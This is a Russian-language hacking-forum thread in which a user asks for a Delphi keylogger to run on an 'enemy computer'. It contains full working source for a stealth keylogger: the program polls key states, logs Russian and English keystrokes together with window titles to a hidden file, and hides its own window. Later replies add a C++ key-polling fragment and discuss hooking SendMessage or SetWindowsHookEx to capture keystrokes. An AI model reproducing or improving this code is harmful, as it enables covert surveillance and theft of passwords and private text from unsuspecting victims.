Мне понадобился кейлогер именно на delphi. На паскале писал последний раз лет 6 назад. Расскажите мне как ныне принято писать. Слышал что хуки уже никто не используют и настоящие тру пишут на api с таймером.
Что требуется: русские\английские буквы, символы, регистр, название окна приложения, работа на Win 7 и Win XP Из сред разработки есть DElphi EX
БЫстро пробежавшись по поиску нашел пример от NEO
Code
program project1; uses Windows, Winsock,SysUtils, Messages; Var TID:Integer; loggern:pchar; wintext:array[0..144]of char; _temp:^cardinal; wrote:longWord; buffer:array[0..40000] of char; FH:THandle; acWindow:HWND; path:string;
function InStr(I: Integer): string; var S: string; begin Str(I, S); InStr := S; end;
function GetWinDir:string; var _buff:array[0..255] of Char; begin GetWindowsDirectory(_buff, sizeOf(_buff)); Result:=_buff; end;
function _Shift:boolean; begin if GetKeyState($10)<0 then result:=true else result:=false; end;
function _Language:boolean; begin if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then result:=true else result:=false; end; //***************************CapsLock******************************************* function _Caps:boolean; begin if ((GetKeyState(20))=1) then result:=true else result:=false; end; //*********Concat for pchar - is the same as for strings************************ function Concat(str1,str2:pchar):pchar; begin lstrcpy(buffer,str1); lstrcat(buffer,str2); result:=buffer; end; //**********************Dinamic object - timer1********************************* procedure GetKey(TimerID,Msg : UINT; dwUser,dw1,dw2 : DWord); pascal; var k : byte; begin for k:=8 To 246 do begin if GetAsyncKeyState(k)=-32767 then begin case k of 8 : loggern :=Concat(loggern,'[Back Space]'); 9 : loggern :=Concat(loggern,'[Tab]'); 13 : loggern :=Concat(loggern,'[Enter]'); 17 : loggern :=Concat(loggern,'[Ctrl]'); 27 : loggern :=Concat(loggern,'[Esc]'); 32 : loggern :=Concat(loggern,'[Space]');
48 : if _Shift then loggern :=Concat(loggern,')') else loggern :=Concat(loggern,'0'); 49 : if _Shift then loggern :=Concat(loggern,'!') else loggern :=Concat(loggern,'1'); 50 : if _Language then if _Shift then loggern :=Concat(loggern,'@') else loggern :=Concat(loggern,'2') else if _Shift then loggern :=Concat(loggern,'"') else loggern :=Concat(loggern,'2'); 51 : if _Language then if _Shift then loggern :=Concat(loggern,'#') else loggern :=Concat(loggern,'3') else if _Shift then loggern :=Concat(loggern,'№') else loggern :=Concat(loggern,'3'); 52 : if _Language then if _Shift then loggern :=Concat(loggern,'$') else loggern :=Concat(loggern,'4') else if _Shift then loggern :=Concat(loggern,';') else loggern :=Concat(loggern,'4'); 53 : if _Shift then loggern :=Concat(loggern,'%') else loggern :=Concat(loggern,'5'); 54 : if _Language then if _Shift then loggern :=Concat(loggern,'^') else loggern :=Concat(loggern,'6') else if _Shift then loggern :=Concat(loggern,':') else loggern :=Concat(loggern,'6'); 55 : if _Language then if _Shift then loggern :=Concat(loggern,'&') else loggern :=Concat(loggern,'7') else if _Shift then loggern :=Concat(loggern,'?') else loggern :=Concat(loggern,'7'); 56 : if _Shift then loggern :=Concat(loggern,'*') else loggern :=Concat(loggern,'8'); 57 : if _Shift then loggern :=Concat(loggern,'(') else loggern :=Concat(loggern,'9'); 60 : if _Shift then loggern :=Concat(loggern,'>') else loggern :=Concat(loggern, '<'); 65 :if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'a') else loggern :=Concat(loggern,'A') else if _Shift then loggern :=Concat(loggern,'A') else loggern :=Concat(loggern,'a') else if _Caps then if _Shift then loggern :=Concat(loggern, 'ф') else loggern :=Concat(loggern,'Ф') else if _Shift then loggern :=Concat(loggern,'Ф') else loggern :=Concat(loggern,'ф'); 66:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'b') else loggern :=Concat(loggern,'B') else if _Shift then loggern :=Concat(loggern,'B') else loggern :=Concat(loggern,'b') else if _Caps then if _Shift then loggern :=Concat(loggern, 'и') else loggern :=Concat(loggern,'И') else if _Shift then loggern :=Concat(loggern,'И') else loggern :=Concat(loggern,'и'); 67: if _Caps then if _Shift then loggern :=Concat(loggern, 'c') else loggern :=Concat(loggern,'C') else if _Shift then loggern :=Concat(loggern,'C') else loggern :=Concat(loggern,'c'); 68:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'd') else loggern :=Concat(loggern,'D') else if _Shift then loggern :=Concat(loggern,'D') else loggern :=Concat(loggern,'d') else if _Caps then if _Shift then loggern :=Concat(loggern, 'в') else loggern :=Concat(loggern,'В') else if _Shift then loggern :=Concat(loggern,'В') else loggern :=Concat(loggern,'в'); 69:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'e') else loggern :=Concat(loggern,'E') else if _Shift then loggern :=Concat(loggern,'E') else loggern :=Concat(loggern,'e') else if _Caps then if _Shift then loggern :=Concat(loggern, 'у') else loggern :=Concat(loggern,'У') else if _Shift then loggern :=Concat(loggern,'У') else loggern :=Concat(loggern,'у'); 70:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'f') else loggern :=Concat(loggern,'F') else if _Shift then loggern :=Concat(loggern,'F') else loggern :=Concat(loggern,'f') else if _Caps then if _Shift then loggern :=Concat(loggern, 'а') else loggern :=Concat(loggern,'А') else if _Shift then loggern :=Concat(loggern,'А') else loggern :=Concat(loggern,'а'); 71:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'g') else loggern :=Concat(loggern,'G') else if _Shift then loggern :=Concat(loggern,'G') else loggern :=Concat(loggern,'g') else if _Caps then if _Shift then loggern :=Concat(loggern, 'п') else loggern :=Concat(loggern,'П') else if _Shift then loggern :=Concat(loggern,'П') else loggern :=Concat(loggern,'п'); 72:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'h') else loggern :=Concat(loggern,'H') else if _Shift then loggern :=Concat(loggern,'H') else loggern :=Concat(loggern,'h') else if _Caps then if _Shift then loggern :=Concat(loggern, 'р') else loggern :=Concat(loggern,'Р') else if _Shift then loggern :=Concat(loggern,'Р') else loggern :=Concat(loggern,'р'); 73:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'i') else loggern :=Concat(loggern,'I') else if _Shift then loggern :=Concat(loggern,'I') else loggern :=Concat(loggern,'i') else if _Caps then if _Shift then loggern :=Concat(loggern, 'ш') else loggern :=Concat(loggern,'Ш') else if _Shift then loggern :=Concat(loggern,'Ш') else loggern :=Concat(loggern,'ш'); 74:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'j') else loggern :=Concat(loggern,'J') else if _Shift then loggern :=Concat(loggern,'J') else loggern :=Concat(loggern,'j') else if _Caps then if _Shift then loggern :=Concat(loggern, 'о') else loggern :=Concat(loggern,'О') else if _Shift then loggern :=Concat(loggern,'О') else loggern :=Concat(loggern,'о'); 75:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'k') else loggern :=Concat(loggern,'K') else if _Shift then loggern :=Concat(loggern,'K') else loggern :=Concat(loggern,'k') else if _Caps then if _Shift then loggern :=Concat(loggern, 'л') else loggern :=Concat(loggern,'Л') else if _Shift then loggern :=Concat(loggern,'Л') else loggern :=Concat(loggern,'л'); 76:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'l') else loggern :=Concat(loggern,'L') else if _Shift then loggern :=Concat(loggern,'L') else loggern :=Concat(loggern,'l') else if _Caps then if _Shift then loggern :=Concat(loggern, 'д') else loggern :=Concat(loggern,'Д') else if _Shift then loggern :=Concat(loggern,'Д') else loggern :=Concat(loggern,'д'); 77:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'm') else loggern :=Concat(loggern,'M') else if _Shift then loggern :=Concat(loggern,'M') else loggern :=Concat(loggern,'m') else if _Caps then if _Shift then loggern :=Concat(loggern, 'ь') else loggern :=Concat(loggern,'Ь') else if _Shift then loggern :=Concat(loggern,'Ь') else loggern :=Concat(loggern,'ь'); 78:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'n') else loggern :=Concat(loggern,'N') else if _Shift then loggern :=Concat(loggern,'N') else loggern :=Concat(loggern,'n') else if _Caps then if _Shift then loggern :=Concat(loggern, 'т') else loggern :=Concat(loggern,'Т') else if _Shift then loggern :=Concat(loggern,'Т') else loggern :=Concat(loggern,'т'); 79:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'o') else loggern :=Concat(loggern,'O') else if _Shift then loggern :=Concat(loggern,'O') else loggern :=Concat(loggern,'o') else if _Caps then if _Shift then loggern :=Concat(loggern, 'щ') else loggern :=Concat(loggern,'Щ') else if _Shift then loggern :=Concat(loggern,'Щ') else loggern :=Concat(loggern,'щ'); 80:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'p') else loggern :=Concat(loggern,'P') else if _Shift then loggern :=Concat(loggern,'P') else loggern :=Concat(loggern,'p') else if _Caps then if _Shift then loggern :=Concat(loggern, 'з') else loggern :=Concat(loggern,'З') else if _Shift then loggern :=Concat(loggern,'З') else loggern :=Concat(loggern,'з'); 81:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'q') else loggern :=Concat(loggern,'Q') else if _Shift then loggern :=Concat(loggern,'Q') else loggern :=Concat(loggern,'q') else if _Caps then if _Shift then loggern :=Concat(loggern, 'й') else loggern :=Concat(loggern,'Й') else if _Shift then loggern :=Concat(loggern,'Й') else loggern :=Concat(loggern,'й'); 82:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'r') else loggern :=Concat(loggern,'R') else if _Shift then loggern :=Concat(loggern,'R') else loggern :=Concat(loggern,'r') else if _Caps then if _Shift then loggern :=Concat(loggern, 'к') else loggern :=Concat(loggern,'К') else if _Shift then loggern :=Concat(loggern,'К') else loggern :=Concat(loggern,'к'); 83:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 's') else loggern :=Concat(loggern,'S') else if _Shift then loggern :=Concat(loggern,'S') else loggern :=Concat(loggern,'s') else if _Caps then if _Shift then loggern :=Concat(loggern, 'ы') else loggern :=Concat(loggern,'Ы') else if _Shift then loggern :=Concat(loggern,'Ы') else loggern :=Concat(loggern,'ы'); 84:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 't') else loggern :=Concat(loggern,'T') else if _Shift then loggern :=Concat(loggern,'T') else loggern :=Concat(loggern,'t') else if _Caps then if _Shift then loggern :=Concat(loggern, 'е') else loggern :=Concat(loggern,'Е') else if _Shift then loggern :=Concat(loggern,'Е') else loggern :=Concat(loggern,'е'); 85:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'u') else loggern :=Concat(loggern,'U') else if _Shift then loggern :=Concat(loggern,'U') else loggern :=Concat(loggern,'u') else if _Caps then if _Shift then loggern :=Concat(loggern, 'г') else loggern :=Concat(loggern,'Г') else if _Shift then loggern :=Concat(loggern,'Г') else loggern :=Concat(loggern,'г'); 86:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'v') else loggern :=Concat(loggern,'V') else if _Shift then loggern :=Concat(loggern,'V') else loggern :=Concat(loggern,'v') else if _Caps then if _Shift then loggern :=Concat(loggern, 'м') else loggern :=Concat(loggern,'М') else if _Shift then loggern :=Concat(loggern,'М') else loggern :=Concat(loggern,'м'); 87:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'w') else loggern :=Concat(loggern,'W') else if _Shift then loggern :=Concat(loggern,'W') else loggern :=Concat(loggern,'w') else if _Caps then if _Shift then loggern :=Concat(loggern, 'ц') else loggern :=Concat(loggern,'Ц') else if _Shift then loggern :=Concat(loggern,'Ц') else loggern :=Concat(loggern,'ц'); 88:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'x') else loggern :=Concat(loggern,'X') else if _Shift then loggern :=Concat(loggern,'X') else loggern :=Concat(loggern,'x') else if _Caps then if _Shift then loggern :=Concat(loggern, 'ч') else loggern :=Concat(loggern,'Ч') else if _Shift then loggern :=Concat(loggern,'Ч') else loggern :=Concat(loggern,'ч'); 89:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'y') else loggern :=Concat(loggern,'Y') else if _Shift then loggern :=Concat(loggern,'Y') else loggern :=Concat(loggern,'y') else if _Caps then if _Shift then loggern :=Concat(loggern, 'н') else loggern :=Concat(loggern,'Н') else if _Shift then loggern :=Concat(loggern,'Н') else loggern :=Concat(loggern,'н'); 90:if _Language then if _Caps then if _Shift then loggern :=Concat(loggern, 'z') else loggern :=Concat(loggern,'Z') else if _Shift then loggern :=Concat(loggern,'Z') else loggern :=Concat(loggern,'z') else if _Caps then if _Shift then loggern :=Concat(loggern, 'я') else loggern :=Concat(loggern,'Я') else if _Shift then loggern :=Concat(loggern,'Я') else loggern :=Concat(loggern,'я'); 96..105 : loggern:=Concat(loggern,Pchar(InStr(k-96))); //Numpad 0..9 106:loggern :=Concat(loggern,'*'); 107:loggern :=Concat(loggern,'&'); 109:loggern :=Concat(loggern,'-'); 110:loggern :=Concat(loggern,'.'); 111:loggern :=Concat(loggern,'/'); 144 : loggern :=Concat(loggern,'[Num Lock]'); 112..123:loggern:=Concat(loggern,Pchar('[F'+InStr(k - 111)+']')); 186 : if _Language then if _Shift then loggern :=Concat(loggern,':') else loggern :=Concat(loggern,';') else if _Caps then if _Shift then loggern :=Concat(loggern,'ж') else loggern :=Concat(loggern, 'Ж') else if _Shift then loggern :=Concat(loggern,'Ж') else loggern :=Concat(loggern, 'ж'); 187 : if _Shift then loggern :=Concat(loggern,'+') else loggern :=Concat(loggern,'='); 188 : if _Language then if _Shift then loggern :=Concat(loggern,'<') else loggern :=Concat(loggern,',') else if _Caps then if _Shift then loggern :=Concat(loggern,'б') else loggern :=Concat(loggern, 'Б') else if _Shift then loggern :=Concat(loggern,'Б') else loggern :=Concat(loggern, 'б'); 189 : if _Shift then loggern :=Concat(loggern,'_') else loggern :=Concat(loggern,'-'); 190 : if _Language then if _Shift then loggern :=Concat(loggern,'>') else loggern :=Concat(loggern,'.') else if _Caps then if _Shift then loggern :=Concat(loggern,'ю') else loggern :=Concat(loggern, 'Ю') else if _Shift then loggern :=Concat(loggern,'Ю') else loggern :=Concat(loggern, 'ю'); 191 : if _Language then if _Shift then loggern :=Concat(loggern,'?') else loggern :=Concat(loggern,'/') else if _Shift then loggern :=Concat(loggern,',') else loggern :=Concat(loggern,'.'); 192 : if _Language then if _Shift then loggern :=Concat(loggern,'~') else loggern :=Concat(loggern,'`') else if _Caps then if _Shift then loggern :=Concat(loggern,'ё') else loggern :=Concat(loggern, 'Ё') else if _Shift then loggern :=Concat(loggern,'Ё') else loggern :=Concat(loggern, 'ё'); 219 : if _Language then if _Shift then loggern :=Concat(loggern,'{') else loggern :=Concat(loggern,'[') else if _Caps then if _Shift then loggern :=Concat(loggern,'x') else loggern :=Concat(loggern,'X') else if _Shift then loggern :=Concat(loggern,'Х') else loggern :=Concat(loggern,'х'); 220 : if _Language then if _Shift then loggern :=Concat(loggern,'|') else loggern :=Concat(loggern,'\') else if _Shift then loggern :=Concat(loggern,'/') else loggern :=Concat(loggern,'\'); 221:if _Language then if _Shift then loggern :=Concat(loggern,'}') else loggern :=Concat(loggern, ']') else if _Caps then if _Shift then loggern :=Concat(loggern,'ъ') else loggern :=Concat(loggern, 'Ъ') else if _Shift then loggern :=Concat(loggern,'Ъ') else loggern :=Concat(loggern, 'ъ'); 222:if _Language then if _Shift then loggern :=Concat(loggern, '"') else loggern :=Concat(loggern, '''') else if _Caps then if _Shift then loggern :=Concat(loggern,'э') else loggern :=Concat(loggern, 'Э') else if _Shift then loggern :=Concat(loggern,'Э') else loggern :=Concat(loggern, 'э'); end; end; end; end; //**********************Print logo********************************************** procedure LogoInFile; begin loggern:=Concat('=================================================',#13#10); loggern:=Concat(loggern,' Log file from Keylogger'); loggern:=Concat(loggern,#13#10); loggern:=Concat(loggern,'================================================='); loggern:=ConCat(loggern,#13#10); WriteFile(FH,loggern^,155,wrote,nil); loggern:=''; end; //*********This procedure is make all directive we used************************* procedure MakeStartDirective; var _tw:pchar; time:_SYSTEMTIME; lptime:pchar; begin GetSystemTime(time); lptime:=Pchar('['+InStr(time.wDay)+'.'+InStr(time.wMonth)+'.'+ InStr(time.wYear)+' - '+InStr(time.wHour)+':'+InStr(time.wMinute)+ ':'+InStr(time.wSecond)+'] '); acWindow:=GetForegroundWindow; GetWindowText(acWindow,wintext,sizeof(wintext)); _tw:=wintext; loggern:=Concat(#13#10,'[$start]'); loggern:=Concat(#13#10,'[$start]'); loggern:=Concat(loggern,#13#10); loggern:=Concat(loggern,lptime); loggern:=Concat(loggern,_tw); loggern:=Concat(loggern,#13#10); loggern:=Concat(loggern,'[$keys]'); loggern:=Concat(loggern,#13#10); SetFilePointer(FH,GetFileSize(FH,_temp),nil,0); WriteFile(FH,loggern^,lstrlen(loggern),wrote,nil); loggern:=''; end; //**********************Dinamic object - timer2********************************* procedure SaveToLog(TimerID,Msg : UINT; dwUser,dw1,dw2 : DWord); pascal; begin if lstrlen(loggern)>0 then begin SetFilePointer(FH,GetFileSize(FH,_temp),nil,0); WriteFile(FH,loggern^,lstrlen(loggern),wrote,nil); loggern:=''; buffer:=''; MakeStartDirective; end; end; //*******************procedure which activate timers**************************** procedure StartTimer1(interval:cardinal); begin TID := timeSetEvent(interval,0,@GetKey,0,1); end; procedure StartTimer2(interval:cardinal); begin TID := timeSetEvent(interval,0,@SaveToLog,0,1); end;
//************************************************************************** Procedure Start; begin path:='syslog.txt'; FH:=CreateFile(Pchar(path),$40000000,$00000001,nil,4,0,0); SetFileAttributes(Pchar(path),$00000001); LogoInFile; MakeStartDirective; loggern:=''; starttimer1(3); //Получить пальчики starttimer2(5000); //сохронять в лог While true do sleep(70000); endthread(0); end;
function WindowProc(wnd: HWND; msg: integer; wparam: WPARAM; lparam: LPARAM):LRESULT;STDCALL; begin case msg of WM_Destroy: begin PostQuitMessage(0); Result:=0; Exit; end; else Result:=DefWindowProc(wnd,msg,wparam,lparam); end; end;
Var C,S:longword; window: TWndClassEx; Mwindow: HWND; Mmsg: MSG; BEGIN C:=beginthread(nil,0,@Start,nil,0,S); window.cbSize :=sizeof (window); window.style :=CS_HREDRAW or CS_VREDRAW; window.lpfnWndProc:=@WindowProc; window.cbClsExtra :=0; window.cbWndExtra :=0; window.hInstance :=HInstance; window.hIcon :=LoadIcon (0,IDI_APPLICATION); window.hCursor :=LoadCursor (0,IDC_ARROW); window.hbrBackground:=Color_BtnFace+12; window.lpszMenuName :=nil; window.lpszClassName:='Main_Window'; RegisterClassEx (window); // Создание окна на основе созданного класса Mwindow:=CreateWindowEx(0,'Main_Window','',WS_OVERLAPPEDWINDOW,100,100,300,300,0,0,Hinstance,nil); // Показать созданное окно SHOWWINDOW(Mwindow,SW_Hide); while GetMessage(Mmsg,0,0,0) do begin TranslateMessage(Mmsg); DispatchMessage(Mmsg); end; end.
Ну почему же сращу извращение? Neo был выкладывал исходник подобного кейлогера, но он писал логи нормально. Только вот есть один небольшой недостаток такого рода кейлогеров. Попади ему на компьютер чуть послабее вашего и он начнет перехватывать клавиши через одну. Тоесть смысл от такого кейлогера потом никакой. Ну не успевает процессор переработать в долю секунды столько информации... Интересней всего подход - это через написание драйвера, но пока этим не занимался.
перебирать каждый скан код символа в куче ифов, при этом нужно еще учитывать раскладку клавиатуры текущего приложения, нажатый shift и caps , это извращенно P.S а если например нужно сделать поддержку не только английской и русской раскладки, так это вообще километры кода, если идти таким извращенным подходом
Дата: Воскресенье, 02.12.2012, 22:50 | Сообщение # 6
Был не раз
Зарегистрирован: 30.11.2012
Группа: Пользователи
Сообщений: 6
Статус: Offline
Quote (C@T)
перебирать каждый скан код символа в куче ифов, при этом нужно еще учитывать раскладку клавиатуры текущего приложения, нажатый shift и caps , это извращенно
ДА знаю я что это ппц как нерационально! Может у вас есть какой-нибудь другой(рабочий) кейлогер?
Дата: Понедельник, 03.12.2012, 00:01 | Сообщение # 7
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
C@T, а почему собсно извращение? многие тру-коды на ифах пашут и чотко даже пашут))) Можно засунуть код в один иф,а остальное по отдельным модулям или функам (но это я по аналогии с С++ говорю)
int Keys[256] = {0}; for (int i = 3; i < 255; i++){ Keys[i] = GetKeyState(i); }
while (1) { for (int i = 3; i < 255; i++) { int State = GetKeyState(i); if(Keys[i] != State){ OnKeyPress(i, State); } Keys[i] = State; }
Sleep(10); } }
ну и запускаю поток void KeyLog() , накопившиеся логи считываются из KeyBuf в критической секции и обнуляется скан код клавиши я считываю винАПИ функцией ToAsciiEx , у которой есть даже Unicode аналог, которым можно собирать логи хоть на китайском, правда в данном коде можно поправить цикл с GetKeyState на один вызов GetKeyboardState и получить сразу данные по всем нажатым клавишам на клавиатуре а потом уже пройтись по тем которые нажаты
P.S простите за с++, но думаю WinAPI вызовы будут понятны P.P.S выложил бы б весь исходник бота, но он на с++, а здесь к сожалению мало кто его знает
Дата: Понедельник, 03.12.2012, 21:39 | Сообщение # 15
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
Don_Diego, Короче,когда происходит какое-то событие,например нажали на кнопку на клавиатуре,то генерируется сообщение Tmsg. Сообщение - это структура данных,имеющая в себе: lparama,Wparam,координаты мыши даже и данные.(Нужно уточнить).SendMessage - функция,которая отсылает эту структуру в обработчик,например,оконной процедуре.Если перехватить эту функцию,то можно в чистом виде "слизывать" данные. Вот это чисто теоретически)))Нужно попробовать на практике.
Дата: Понедельник, 03.12.2012, 22:04 | Сообщение # 16
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
Neo, про функцию SendMessage я конечно знаю, но почему-то всегда думал ею можно только имитировать нажатия клавиш. Я конечно структуру драйвера клавиатуры не знаю, поэтому надеюсь ты знаешь что делаешь
Я просмотрел весь поиск перед тем как создать тему. К сожалению, все ссылки на APIшные кейлогеры биты, а на VCL у меня и так есть, только VCL-кейлогер на вражеском компьютере как-то не комильфо Если вам не сложно, можете запостить здесь или в личку на APi-кейлогер, на свой например, если не жалко.
проблемма лишь в том что SendMessage прийдется хукать во всех процессах, а это трудоемко и багануто, вообще можно не извращатся и вызвать SetWindowsHookEx , эта функция вообще и предназначается в винде для того что бы делать перехват сообщений окон, а не для того что бы дллки инжектить, как сейчас все ее обычно используют
function KeybordSysMsgProc(code:integer;Wparam:word;Lparam:longint):longint;stdcall; begin .... end;